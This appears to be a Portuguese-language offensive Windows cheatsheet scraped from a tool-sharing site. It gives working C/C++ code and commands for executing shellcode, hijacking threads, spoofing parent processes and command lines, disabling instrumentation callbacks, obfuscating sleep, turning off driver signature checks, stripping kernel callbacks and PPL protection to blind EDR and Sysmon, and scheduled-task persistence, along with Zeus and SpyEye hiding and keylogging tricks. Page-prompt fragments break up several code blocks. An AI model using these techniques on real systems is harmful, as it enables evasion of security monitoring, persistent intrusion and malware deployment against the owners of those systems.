int main() { HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

root@kitploit:~
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);

return 0;

}

root@kitploit:~
## Thread Hijacking

Sequestre uma thread em um processo remoto suspendendo-a e, em seguida, substitua o registrador RIP (ou EIP, se estiver em x86) pelo endereço do seu shellcode. 

Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c

## PPID Spoofing

Quando um processo suspeito/anormal inicia abaixo de um processo pai "legítimo" ou sem supervisão, isso se torna muito suspeito. Pense em uma macro maliciosa do Word que implanta um processo do PowerShell: estranho, não?

O Spoofing de PPID pode evitar isso permitindo que você modifique o ID do processo pai (PPID) do processo criado por você.```cpp
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
int main() 
{
	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;
}

Process Instrumentation Callback

Process Instrumentation Callback é definido como o sinalizador ProcessInstrumentationCallback (0x40) e é usado por produtos de segurança para detectar potencial invocação de syscall direta registrando um callback para verificar se a instrução syscall vem da imagem executável e não da NTDLL. Para contornar isso em nosso processo, basta definir Callback como `NULL````c PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;

InstrumentationCallbackInfo.Version = 0x0; InstrumentationCallbackInfo.Reserved = 0x0; InstrumentationCallbackInfo.Callback = NULL;

NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );

root@kitploit:~
> ainda é "indocumentado" pela Microsoft, mas [Alex Ionescu](https://twitter.com/aionescu) o documentou [aqui](https://www.youtube.com/watch?v=pHyWyH804xE&ab_channel=S%C3%A9bastienDuquette) e Everdox também o fez [aqui](https://www.codeproject.com/Articles/543542/Windows-x64-system-service-hooks-and-advanced-debu)

> Código completo para contornar a instrumentação aqui : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c

## Criptografia de Heap

Percorra o heap com `HeapWalk` e depois criptografe as alocações :```c
VOID HeapEncryptDecrypt() {
    PROCESS_HEAP_ENTRY HeapWalkEntry;
    SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
    while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
        if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
            XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
        }
    }
}

mais informações aqui: https://www.arashparsa.com/hook-heaps-and-live-free/

Ofuscação de Sleep

Muitos PoCs em torno de ofuscação de sleep surgiram com diferentes mecanismos (APCs de UM, TP e mais); aqui tomamos como exemplo o Ekko, que é o PoC mais fácil de entender.

a cadeia ROP do Ekko é muito simples: ela altera o prot. da memória para RW, criptografa a região com SystemFunction032, que implementa RC4, dorme com WaitForSingleObject, descriptografa a região e troca novamente o prot. para RWX. Por fim, ela enfileira todo o CONTEXT com CreateTimerQueueTimer

Alguns scanners como TickTock ou Patriot foram lançados para detectar isso, mas você pode evitá-los usando um trampolim para NtContinue na NTDLL com gadget e substituindo o registrador Rip na cadeia ROP


Fundamentos de Programação de Drivers

Conceitos Gerais

Drivers são usados para executar código em modo kernel em vez de modo usuário. É uma técnica poderosa para contornar todos os hooks e monitoramento em modo usuário que foram configurados por AVs/EDRs. Também pode ser usada para contornar callbacks do kernel e outro monitoramento do kernel.

O código de qualquer driver deve ser verificado (qualquer aviso deve ser tratado como erro) para garantir que ele não irá travar (você não quer causar uma BSOD durante um pentest, certo?).

Há alguns anos, a Microsoft decidiu banir drivers não assinados do seu sistema operacional: você deve desativá-la antes de carregar seu próprio driver, ou usar qualquer vulnerabilidade (como https://github.com/hmnthabit/CVE-2018-19320-LPE) para desativar a assinatura de drivers.

Em um pentest real, você deve encontrar qualquer driver vulnerável e lucrar:)

Tabela de Despacho de Serviços do Sistema (SSDT)

A SSDT, ou System Service Dispatch Table, é uma tabela (óbvio) que pode resolver, pelo seu índice atual, a função Nt correspondente. Quando qualquer chamada de modo usuário é feita, ela é resolvida como abaixo:

  • OpenProcess (a função da API Win32 é chamada)
  • NtOpenProcess (Resolvida em ntdll.dll)```asm mov r10, rcx mov eax, 26 syscall ret
root@kitploit:~
> ntdll contém procedimentos de chamada de sistema para cada função Nt

- 26 é o **número do serviço do sistema** : é um índice no SSDT que resolve o endereço da função NtOpenProcess do kernel.
- A NtOpenProcess do modo kernel é chamada e se comunica com I/O como parte de um driver.

SSDT é definida em uma **Tabela de Descritores de Serviço** :```cpp
typedef struct tagSERVICE_DESCRIPTOR_TABLE {
    SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself
    SYSTEM_SERVICE_TABLE win32k;
    SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table
    SYSTEM_SERVICE_TABLE sst4;
} SERVICE_DESCRIPTOR_TABLE;

O SSDT é/era frequentemente interceptado por rootkits, pois era possível modificar o endereço correspondente para suas próprias funções. O Patchguard desabilitou essa possibilidade, exceto no caso de alguma vulnerabilidade interna.

Muitos produtos antivírus também estão usando esse truque hoje em dia, provavelmente usando as mesmas técnicas que hackers mal-intencionados ;)

Entrada do driver

O procedimento de entrada do driver é definido como abaixo:```cpp #include <ntddk.h>

NTSTATUS DriverEntry(In PDRIVER_OBJECT DriverObject, In PUNICODE_STRING RegistryPath) { return STATUS_SUCCESS; }

root@kitploit:~
É muito importante usar a macro `UNREFERENCED_PARAMETER()` nos parâmetros `DriverObject` e `RegistryPath`, a menos que eles sejam referenciados adicionando algum código posteriormente.```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);

Entrada/Saída

Use MajorFunction IRP_MJ_CREATE e IRP_MJ_CLOSE para atuar como "interrupção" para comunicar com o seu driver a partir do lado do cliente.```cpp DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose; DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;

root@kitploit:~
Em seguida, defina sua função CreateClose :```cpp
NTSTATUS
CreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);

	DbgPrint("[+] Hello from FirstDriver CreateClose\n");

	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;

	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

Código de exemplo completo aqui : //

Comunicar-se com o driver

Aplicativos em modo de usuário enviam IOCTLs para drivers chamando DeviceIoControl, que é descrito na documentação do Microsoft Windows SDK. Chamadas a DeviceIoControl fazem com que o gerenciador de I/O crie uma solicitação IRP_MJ_DEVICE_CONTROL e a envie ao driver de nível superior (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)

O aplicativo userland deve usar a função DeviceIoControl (ioapiset.h) para se comunicar com um driver. Ela será usada para enviar várias solicitações ao objeto Device.

Código de exemplo simples aqui : //todo

Assinatura do driver

Conforme descrito na seção Conceitos gerais, os drivers devem ser assinados antes de serem instalados em um sistema Windows. Apesar do fato de que você deve usar algum exploit de driver ou de kernel para contornar isso (o CVE do driver Gigabyte, por exemplo), você ainda pode desativá-lo manualmente:```powershell bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS bcdedit.exe -set TESTSIGNING ON

root@kitploit:~
Depois reinicie o computador. Obviamente, você precisa de direitos de administrador local na máquina em que deseja executar esses comandos. Como é necessário reiniciar, **isso não é OPSEC de forma alguma**.


## Callbacks Personalizados

ObRegisterCallbacks (wdm.h) permite que você defina "callbacks" personalizados que podem ser usados para modificar o comportamento de um aplicativo em modo de usuário quando acionados por uma operação específica, como CreateProcess/OpenProcess (criação de handle).

Basicamente, Ob Callbacks são definidos com um array OB_OPERATION_REGISTRATION, que será preenchido com a struct OB_CALLBACK_REGISTRATION (preenchida com callbacks).

Exemplo para acionar em OpenProcess/CreateProcess :```c
OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 };
OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };

obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles
obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles
obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code
obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed

NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, &reg_handle); //register callbacks
	if (!NT_SUCCESS(status_register)) {
		DbgPrint("[-] Error while trying to register callbacks\n");
	}
	else {

		DbgPrint("[+] Registering callbacks !\n");
	}

process_ob_pre_op_callbacks é uma função definida pelo usuário que será chamada quando o callback for interceptado e, portanto, pode negar ou permitir a operação.```c OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {

root@kitploit:~
if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle

}

root@kitploit:~
**Nota** : My_PROCESS_ALL_ACCESS pode ser definido como ```#define My_PROCESS_ALL_ACCESS (0x1FFFFF)``` (código hexadecimal win32).

**Como aplicar patch em ObCallbacks :** existem várias formas de corrigi-los, mas as provavelmente duas formas mais comuns de alcançar esse objetivo seriam escrever uma função obcallback com algum esquema como : "nop-nop-nop-ret", ou apagar o ponteiro de função obcallback dos itens _CALLBACK_ENTRY_ITEM. Observe que essas técnicas podem, na verdade, acionar o PatchGuard, portanto, preste atenção ao usar essas técnicas em um engajamento real.


# Programação Ofensiva de Drivers

## Patch em callbacks de kernel

Os callbacks de kernel foram introduzidos pela Microsoft principalmente para oferecer uma forma melhor para os editores de AVs/EDRs monitorarem e prevenirem ações suspeitas (Antes deles, muitos produtos de segurança usavam patch em modo kernel, como ganchos SSDT, para fazer o mesmo trabalho, mas a nova proteção PatchGuard os obrigou a usar essa nova solução).

Existem vários tipos de callbacks de kernel, especialmente : 

	- ProcessNotify : chamado quando um processo é criado ou encerrado.
	- ThreadNotify : chamado quando uma thread é criada ou encerrada (é excluída).
	- LoadImageNotify : chamado quando alguma imagem executável é carregada por outro exe (exemplo : DLL carregada por um processo)

Cada um deles tem sua função associada, como **PsSetCreateProcessNotifyRoutineEx** para configurá-los no seu driver. Esta última registra uma rotina de callback quando um novo processo é criado ou excluído no sistema Windows. Seu protótipo é definido como abaixo :```cpp
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
  [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
  [in] BOOLEAN                           Remove
);

PCREATE_PROCESS_NOTIFY_ROUTINE_EX é um ponteiro para a rotina de callback que será chamada quando o evento for acionado (aqui, criação/saída de processos). Remove é uma flag simples que indica se PsSetCreateProcessNotify registrará a função de callback ou a excluirá (útil na função de limpeza do seu driver).

A função de callback usará este protótipo :```cpp void OnProcessNotify( PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo );

root@kitploit:~
onde **Process** é o processo atual sendo criado/excluído, **ProcessId** é o id desse processo, e **CreateInfo** é uma estrutura que contém várias informações sobre esse processo.

Quando um driver registra uma nova rotina de callback, seu endereço será armazenado em um array geralmente nomeado **Psp**name_of_your_callback. Por exemplo, a lista de todas as funções ProcessNotifyRoutine é armazenada no array **PspCreateProcessNotifyRoutine**.

Para remover esses callbacks, você simplesmente precisará esvaziar este array !

Infelizmente, o endereço deste tão empolgante array não tem nenhuma maneira direta de ser obtido. Felizmente, existem muitas maneiras de fazê-lo manualmente, buscando por alguns offsets específicos na memória.

Assim que você encontrar o endereço correto, pode enumerar todos os callbacks registrados e filtrá-los por nome do driver (driver Sysmon talvez ?:)), e remover apenas as funções de callback correspondentes na lista.



## Aplicar Patch em Processo Protegido

Processos Protegidos foram introduzidos com o Windows Vista. Pode ser definido como uma struct chamada EPROCESS (não definido : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess) que define se o processo é protegido ou não com três membros interessantes :```
kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 UniqueProcessId  : Ptr64 Void
   [...snip...]
   +0x6c8 SignatureLevel   : UChar //signature integrity of exe
   +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe
   +0x6ca Protection       : _PS_PROTECTION

O terceiro membro (Protection) é uma struct PS_PROTECTION que é definida como abaixo :``` _PS_PROTECTION +0x000 Level : UChar +0x000 Type : Pos 0, 3 Bits +0x000 Audit : Pos 3, 1 Bit +0x000 Signer : Pos 4, 4 Bits

root@kitploit:~
Para remover a proteção PPL, você deve definir SignatureLevel,SectionSignatureLevel e Protection como 0.

Como o offset entre o endereço base do EPROCESS e PS_PROTECTION é 0x6c8, você pode recuperá-lo somando os dois valores.

Exemplo de código : //todo


# Usando a API Win32 para aumentar a OPSEC

## Persistência

### Tarefas Agendadas

**Nota** : Vários exemplos desta parte foram recuperados de : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations

A maneira "convencional" de agendar qualquer tarefa no sistema operacional Windows exige passar pela interface gráfica (Task Scheduler). Não é tão prático para nós, pois muitas vezes obtemos apenas uma sessão de linha de comando em um sistema comprometido.

Felizmente, a API Win32 pode ser usada para criar tais tarefas, permitindo que você faça uma ótima persistência para o seu beacon, ou privesc.

Basicamente, você precisa inicializar a biblioteca COM, então criar uma nova instância da classe ITaskService com a API **CoCreateInstance()**. Agora você pode editar seu objeto ITaskService para editar a pasta raiz, ação, hora e muito mais. Aqui está um exemplo abaixo :```cpp
/********************************************************************
 This sample schedules a task to start Notepad.exe 30 seconds after
 the system is started. 
********************************************************************/

#define _WIN32_DCOM

#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
//  Include the task header file.
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")


using namespace std;

int __cdecl wmain()
{
    //  ------------------------------------------------------
    //  Initialize COM.
    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if( FAILED(hr) )
    {
        printf("\nCoInitializeEx failed: %x", hr );
        return 1;
    }

    //  Set general COM security levels.
    hr = CoInitializeSecurity(
        NULL,
        -1,
        NULL,
        NULL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL,
        0,
        NULL);

    if( FAILED(hr) )
    {
        printf("\nCoInitializeSecurity failed: %x", hr );
        CoUninitialize();
        return 1;
    }

    //  ------------------------------------------------------
    //  Create a name for the task.
    LPCWSTR wszTaskName = L"Boot Trigger Test Task";

    //  Get the Windows directory and set the path to Notepad.exe.
    wstring wstrExecutablePath = _wgetenv( L"WINDIR");
    wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";


    //  ------------------------------------------------------
    //  Create an instance of the Task Service. 
    ITaskService *pService = NULL;
    hr = CoCreateInstance( CLSID_TaskScheduler,
                           NULL,
                           CLSCTX_INPROC_SERVER,
                           IID_ITaskService,
                           (void**)&pService );  
    if (FAILED(hr))
    {
          printf("Failed to create an instance of ITaskService: %x", hr);
          CoUninitialize();
          return 1;
    }
        
    //  Connect to the task service.
    hr = pService->Connect(_variant_t(), _variant_t(),
        _variant_t(), _variant_t());
    if( FAILED(hr) )
    {
        printf("ITaskService::Connect failed: %x", hr );
        pService->Release();
        CoUninitialize();
        return 1;
    }

    //  ------------------------------------------------------
    //  Get the pointer to the root task folder.  
    //  This folder will hold the new task that is registered.
    ITaskFolder *pRootFolder = NULL;
    hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
    if( FAILED(hr) )
    {
        printf("Cannot get Root Folder pointer: %x", hr );
        pService->Release();
        CoUninitialize();
        return 1;
    }
    
    //  If the same task exists, remove it.
    pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );
    
    //  Create the task builder object to create the task.
    ITaskDefinition *pTask = NULL;
    hr = pService->NewTask( 0, &pTask );

    pService->Release();  // COM clean up.  Pointer is no longer used.
    if (FAILED(hr))
    {
          printf("Failed to create a task definition: %x", hr);
          pRootFolder->Release();
          CoUninitialize();
          return 1;
    }
    
        
    //  ------------------------------------------------------
    //  Get the registration info for setting the identification.
    IRegistrationInfo *pRegInfo= NULL;
    hr = pTask->get_RegistrationInfo( &pRegInfo );
    if( FAILED(hr) )
    {
        printf("\nCannot get identification pointer: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    hr = pRegInfo->put_Author(L"Author Name");
    pRegInfo->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot put identification info: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    //  ------------------------------------------------------
    //  Create the settings for the task
    ITaskSettings *pSettings = NULL;
    hr = pTask->get_Settings( &pSettings );
    if( FAILED(hr) )
    {
        printf("\nCannot get settings pointer: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    //  Set setting values for the task. 
    hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
    pSettings->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot put setting info: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
       

    //  ------------------------------------------------------
    //  Get the trigger collection to insert the boot trigger.
    ITriggerCollection *pTriggerCollection = NULL;
    hr = pTask->get_Triggers( &pTriggerCollection );
    if( FAILED(hr) )
    {
        printf("\nCannot get trigger collection: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    //  Add the boot trigger to the task.
    ITrigger *pTrigger = NULL;
    hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger ); 
    pTriggerCollection->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot create the trigger: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    IBootTrigger *pBootTrigger = NULL;
    hr = pTrigger->QueryInterface( 
        IID_IBootTrigger, (void**) &pBootTrigger );
    pTrigger->Release();
    if( FAILED(hr) )
    {
        printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
    if( FAILED(hr) )
       printf("\nCannot put the trigger ID: %x", hr);
    
    //  Set the task to start at a certain time. The time 
    //  format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
    //  For example, the start boundary below
    //  is January 1st 2005 at 12:05
    hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
    if( FAILED(hr) )
       printf("\nCannot put the start boundary: %x", hr);
  
    hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
    if( FAILED(hr) )
       printf("\nCannot put the end boundary: %x", hr);

    // Delay the task to start 30 seconds after system start. 
    hr = pBootTrigger->put_Delay( L"PT30S" );
    pBootTrigger->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot put delay for boot trigger: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    } 
       

    //  ------------------------------------------------------
    //  Add an Action to the task. This task will execute Notepad.exe.     
    IActionCollection *pActionCollection = NULL;

    //  Get the task action collection pointer.
    hr = pTask->get_Actions( &pActionCollection );
    if( FAILED(hr) )
    {
        printf("\nCannot get Task collection pointer: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
        
    //  Create the action, specifying it as an executable action.
    IAction *pAction = NULL;
    hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
    pActionCollection->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot create the action: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    IExecAction *pExecAction = NULL;
    //  QI for the executable task pointer.
    hr = pAction->QueryInterface( 
        IID_IExecAction, (void**) &pExecAction );
    pAction->Release();
    if( FAILED(hr) )
    {
        printf("\nQueryInterface call failed for IExecAction: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    //  Set the path of the executable to Notepad.exe.
    hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) ); 
    pExecAction->Release(); 
    if( FAILED(hr) )
    {
        printf("\nCannot set path of executable: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
      
    
    //  ------------------------------------------------------
    //  Save the task in the root folder.
    IRegisteredTask *pRegisteredTask = NULL;
    VARIANT varPassword;
    varPassword.vt = VT_EMPTY;
    hr = pRootFolder->RegisterTaskDefinition(
            _bstr_t( wszTaskName ),
            pTask,
            TASK_CREATE_OR_UPDATE, 
            _variant_t(L"Local Service"), 
            varPassword, 
            TASK_LOGON_SERVICE_ACCOUNT,
            _variant_t(L""),
            &pRegisteredTask);
    if( FAILED(hr) )
    {
        printf("\nError saving the Task : %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    printf("\n Success! Task successfully registered. " );

    //  Clean up.
    pRootFolder->Release();
    pTask->Release();
    pRegisteredTask->Release();
    CoUninitialize();
    return 0;
}

Spoofing de linha de comando

Funciona perfeitamente mesmo com monitoramento do sysmon/process hacker; permite ocultar os argumentos do seu comando, o que pode ser útil em operações de pentest/red team (powershell -enc .....)

Para atingir esse objetivo, você pode criar um novo processo com argumentos de comando "legítimos" em modo suspenso e, em seguida, editar esses argumentos diretamente no PEB.

Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp

Miscelânea

Convenção de Chamada x64

  • Os primeiros 4 argumentos inteiros são passados nos registradores RCX, RDX, R8 e R9.
  • Os argumentos adicionais são colocados na pilha.
  • O endereço de retorno é seguido por uma área de 32 bytes reservada para RCX, RDX, R8 e R9.
  • As variáveis locais e os registradores não voláteis são armazenados acima do endereço de retorno.
  • RBP não é usado para referenciar variáveis locais/argumentos de função, e RSP permanece constante durante toda a função.

Notas:

  • Se uma função tiver um número variável de argumentos, ela deve usar a pilha para passá-los
  • Se o valor de retorno for uma estrutura, o chamador é responsável por alocar espaço para o valor de retorno e passar um ponteiro para esse espaço como o primeiro argumento
  • A função chamada é responsável por preservar os valores dos registradores RBX, RBP e R12–R15, mas pode modificar livremente os outros registradores
  • A pilha está alinhada em um limite de 16 bytes no local da chamada
  • A função chamada é responsável por restaurar o ponteiro de pilha (RSP) ao seu valor original antes de retornar

Execução Indireta

A execução indireta aqui se refere a um ROP para realizar a execução de algumas tarefas; você precisará adicionar parâmetros ao registrador correto, e deve entender a convenção de chamada x64 para isso.

  • ROP com a estrutura CONTEXT precisará de RtlCaptureContext para recuperar o contexto atual e NtContinue para continuar a execução do ROP com a struct CONTEXT como parâmetro preenchido com os argumentos de função corretos nos registradores corretos. Você também pode construir seu ROP em assembly, se quiser.

Bypass de CFG com SetProcessValidCallTargets

Isso não é um bypass real, mas vai colocar na lista de permissões a função que você está usando no seu ROP (ou seja, NtContinue)```c CFG_CALL_TARGET_INFO Cfg = { 0 };

Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress; Cfg.Flags = CFG_CALL_TARGET_VALID;

SetProcessValidCallTargets( ( HANDLE )-1, Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );

root@kitploit:~
# Malware/Técnicas sofisticadas

## Emotet PPID Spoofing 

Esta técnica foi descoberta no conhecido malware Emotet. Para gerar um novo processo powershell (destinado a executar algum payload), ele usa a API COM com uma instância WMI. Com esse truque, o processo powershell é gerado como um processo filho do processo WMIPrvSE, o que é muito menos suspeito do que ser gerado por um exe suspeito ou até mesmo um arquivo do Word.

## Arquivos Ocultos do Malware Zeus

O conhecido malware Zeus usa um truque bastante engenhoso para ocultar seus logs (teclas pressionadas, senhas, etc.) no sistema comprometido. Ele faz hook da função ```NtQueryDirectoryFile()``` para filtrar os resultados exibidos.```cpp
typedef struct _FILE_NAMES_INFORMATION {
 ULONG NextEntryOffset;
 ULONG FileIndex;
 ULONG FileNameLength;
 WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

 if (file_matches)
 {

 // Check for end of list
 if (pCurrentFileNames->NextEntryOffset == 0)
 {
 // Hide current file
 if (pPrev)
 pPrevFileNames->NextEntryOffset = 0;
 else
 return STATUS_NO_SUCH_FILE; 

Fonte : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf

Técnica de hooking do keylogger SpyEye

O malware SpyEye intercepta a função TranslateMessage() para salvar as teclas digitadas : o procedimento de hook usa a função GetKeyboardState para adicionar o caractere digitado a um buffer de 20000 bytes.

Fonte : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf

KillSwitch do Wannacry

O ransomware Wannacry usava uma URL de killswitch que era resolvida antes da execução do payload principal. Depois que este domínio foi registrado, todas as amostras do Wannacry foram desativadas. Esta técnica foi relatada aqui : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html Fato curioso: este domínio estava em string clara, sem qualquer ofuscação. Bem engraçado:)

Baixar ferramenta